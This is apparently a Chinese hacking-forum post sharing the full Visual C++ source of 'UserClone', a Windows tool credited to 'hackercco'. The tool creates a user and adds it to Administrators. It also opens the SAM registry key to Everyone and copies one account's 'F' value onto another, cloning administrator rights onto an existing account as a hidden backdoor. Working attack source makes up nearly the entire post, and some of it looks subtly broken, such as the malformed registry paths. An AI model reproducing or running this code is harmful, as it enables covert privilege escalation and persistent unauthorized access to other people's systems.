UserClone 自己写的克隆帐户工具 附VC源码

功能：
     
    1.增加用户并添加到Administrators组
        Usage: userclone UserName Password   /Add
       2.克隆指定帐户
        Usage: userclone UserName ClonedUser /Clone

开发环境：
    WinXP sp3 + VC++6.0

PS:  为什么不能发图片？提示：无效的图片文件！

 

#ifndef UNICODE#define UNICODE#endif#ifndef _UNICODE#define _UNICODE#endif#include <stdio.h>#include <windows.h> #include <tchar.h>#include "tiny.h"#include <lm.h>#include <Aclapi.h>#pragma comment(lib,"Netapi32.lib")#pragma comment(lib,"Advapi32.lib")CONST DWORD BUFFERSIZE=1024;//////////////////////////////////////////////////////////////////////////LPBYTE RegGetValue(HKEY hkey, LPCTSTR lpSubKey, LPCTSTR lpValueName ,LPDWORD lpdwType,LPDWORD lpdwSize){ HKEY hOpenKey; if (ERROR_SUCCESS!=RegOpenKeyEx(hkey,lpSubKey,0,KEY_ALL_ACCESS,&hOpenKey)) { return NULL ; } DWORD dwSize=0; DWORD dwType=0; if (ERROR_SUCCESS!=RegQueryValueEx(hOpenKey,lpValueName,0,&dwType,NULL,&dwSize)) { CloseHandle(hOpenKey); return NULL; } if (REG_SZ==dwType || REG_EXPAND_SZ==dwType) { dwSize+=sizeof(TCHAR); } else if (REG_MULTI_SZ==dwType) { dwSize+=2*sizeof(TCHAR); } LPBYTE lpszRetn=new BYTE[dwSize]; ZeroMemory(lpszRetn,dwSize); DWORD dwReadSize; if (ERROR_SUCCESS==RegQueryValueEx(hOpenKey,lpValueName,0,NULL,lpszRetn,&dwReadSize)) { if (NULL!=lpdwSize) { *lpdwSize=dwSize; } if (NULL!=lpdwType) { *lpdwType=dwType; } RegCloseKey(hOpenKey); return lpszRetn; } else { delete [] lpszRetn; RegCloseKey(hOpenKey); return NULL; } }//////////////////////////////////////////////////////////////////////////BOOL RegSetValue(HKEY hkey, LPCTSTR lpSubKey, LPCTSTR lpValueName ,DWORD dwType, const BYTE* lpData,DWORD dwSize){ HKEY hOpenKey; if (ERROR_SUCCESS!=RegCreateKeyEx(hkey,lpSubKey,0,NULL,0,KEY_ALL_ACCESS,NULL,&hOpenKey,NULL)) { return FALSE; } if (ERROR_SUCCESS==RegSetValueEx(hOpenKey,lpValueName,0,dwType,lpData,dwSize)) { RegCloseKey(hOpenKey); return TRUE; } else { RegCloseKey(hOpenKey); return FALSE; } }///////////////////////////////////////////////////////////////////////////*BOOL EnablePrivilege(LPCTSTR lpszPrivilege){ HANDLE hToken; if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken)) { return FALSE; } TOKEN_PRIVILEGES tps; tps.PrivilegeCount=1; tps.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; if (!LookupPrivilegeValue(NULL,lpszPrivilege,&tps.Privileges[0].Luid)) { CloseHandle(hToken); return FALSE; } if (!AdjustTokenPrivileges(hToken,FALSE,&tps,sizeof(tps),NULL,NULL)) { CloseHandle(hToken); return FALSE; } return TRUE;}*///////////////////////////////////////////////////////////////////////////BOOL SetACE(PACL *ppOldDACL ){ LPTSTR lpSamKey=TEXT("MACHINE//SAM//SAM"); if (NULL==ppOldDACL) { return FALSE; } if (ERROR_SUCCESS!=GetNamedSecurityInfo(lpSamKey,SE_REGISTRY_KEY ,DACL_SECURITY_INFORMATION, NULL,NULL,ppOldDACL,NULL,NULL)) { return FALSE; } PACL pNewDACL; EXPLICIT_ACCESS ea; ZeroMemory(&ea,sizeof(ea)); BuildExplicitAccessWithName(&ea,TEXT("Everyone"),KEY_ALL_ACCESS,SET_ACCESS, SUB_CONTAINERS_AND_OBJECTS_INHERIT); if (ERROR_SUCCESS!=SetEntriesInAcl(1,&ea,NULL,&pNewDACL)) { return FALSE; } if (ERROR_SUCCESS!=SetNamedSecurityInfo(lpSamKey,SE_REGISTRY_KEY,DACL_SECURITY_INFORMATION, NULL,NULL,pNewDACL,NULL)) { return FALSE; } if (pNewDACL) { LocalFree(pNewDACL); } return TRUE;}//////////////////////////////////////////////////////////////////////////BOOL CloneUser(LPCTSTR lpszUser, LPCTSTR lpszClonedUser){ PACL pOldDACL=NULL; if (!SetACE(&pOldDACL)) { _tprintf(TEXT("Error! Make sure you have enough privilege!/n")); return FALSE; } CONST TCHAR szSubKey[]=TEXT("SAM//SAM//Domains//Account//Users"); TCHAR szTemp[BUFFERSIZE]; DWORD dwType=0; LPBYTE lpbValueF=NULL; DWORD dwSizeF=0; try { ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// wsprintf(szTemp,TEXT("%s//Names//%s"),szSubKey,lpszClonedUser); #ifdef _DEBUG _tprintf(TEXT("%s/n"),szTemp);#endif // _DEBUG LPBYTE lpRetn=RegGetValue(HKEY_LOCAL_MACHINE,szTemp,NULL,&dwType,NULL); if (NULL==lpRetn) { _tprintf(TEXT("Error! Make sure account:%s is exist!/n"),lpszClonedUser); throw; } delete [] lpRetn; wsprintf(szTemp,TEXT("%s//%08x"),szSubKey,dwType); #ifdef _DEBUG _tprintf(TEXT("%s/n"),szTemp);#endif // _DEBUG lpbValueF=RegGetValue(HKEY_LOCAL_MACHINE,szTemp,TEXT("F"),NULL,&dwSizeF); if (NULL==lpbValueF) { _tprintf(TEXT("Error! Read: %s/n"),szTemp); throw; } ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// wsprintf(szTemp,TEXT("%s//Names//%s"),szSubKey,lpszUser); #ifdef _DEBUG _tprintf(TEXT("%s/n"),szTemp);#endif // _DEBUG lpRetn=RegGetValue(HKEY_LOCAL_MACHINE,szTemp,NULL,&dwType,NULL); if (NULL==lpRetn) { _tprintf(TEXT("Error! Make sure account:%s is exist!/n"),lpszUser); throw; } delete [] lpRetn; wsprintf(szTemp,TEXT("%s//%08x"),szSubKey,dwType); #ifdef _DEBUG _tprintf(TEXT("%s/n"),szTemp);#endif // _DEBUG if (RegSetValue(HKEY_LOCAL_MACHINE,szTemp,TEXT("F"),REG_BINARY,lpbValueF,dwSizeF)) { _tprintf(TEXT("Clone Success!/n")); delete [] lpbValueF; } else { _tprintf(TEXT("Error! Write: %s/n"),szTemp); throw; } } catch (...) { delete [] lpbValueF; SetNamedSecurityInfo(TEXT("MACHINE//SAM//SAM"),SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION,NULL,NULL,pOldDACL,NULL); } SetNamedSecurityInfo(TEXT("MACHINE//SAM//SAM"),SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION,NULL,NULL,pOldDACL,NULL); return TRUE;}//////////////////////////////////////////////////////////////////////////BOOL AddUser(LPWSTR lpszUserName, LPWSTR lpszPassWord){ USER_INFO_1 ui; ui.usri1_name=lpszUserName; ui.usri1_password=lpszPassWord; ui.usri1_priv = USER_PRIV_USER; ui.usri1_home_dir = NULL; ui.usri1_comment = NULL; ui.usri1_flags = UF_SCRIPT; ui.usri1_script_path = NULL; if (NERR_Success!=NetUserAdd(NULL,1,(LPBYTE)&ui,NULL)) { return FALSE; } return TRUE;}//////////////////////////////////////////////////////////////////////////BOOL AddUser2LocalGroup(LPWSTR lpszUser, LPWSTR lpszGroup){ LOCALGROUP_MEMBERS_INFO_3 lmi3; lmi3.lgrmi3_domainandname=lpszUser; if (NERR_Success!=NetLocalGroupAddMembers(NULL,lpszGroup,3,(LPBYTE)&lmi3,1)) { return FALSE; } return TRUE;}//////////////////////////////////////////////////////////////////////////VOID Usage(LPCTSTR lpszExeName){ _tprintf(TEXT("Usage: %s UserName Password /Add/n"), lpszExeName); _tprintf(TEXT("Usage: %s UserName ClonedUser /Clone/n"), lpszExeName);}////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////int _tmain(int argc, TCHAR *argv[]){ _tprintf(TEXT("****************************************************/n")); _tprintf(TEXT(" UserClone Ver 0.1/n")); _tprintf(TEXT(" Coded by hackercco/n")); _tprintf(TEXT(" http://www.darkst.com/n")); _tprintf(TEXT("****************************************************/n")); if (argc != 4) { Usage(argv[0]); exit(1); } if (!lstrcmp(CharLower(argv[3]),TEXT("/add"))) { if (!AddUser(argv[1],argv[2])) { _tprintf(TEXT("Add user error! Make sure you have enough privilege!/n")); return 1; }else { _tprintf(TEXT("Add user Success!/n")); } if (!AddUser2LocalGroup(argv[1],TEXT("Administrators"))) { _tprintf(TEXT("Add %s to Localgroup:Administrators fail! /n"),argv[1]); return 1; } return 0; } else if(!lstrcmp(CharLower(argv[3]),TEXT("/clone"))) { CloneUser(argv[1],argv[2]); } else { Usage(argv[0]); } return 0;}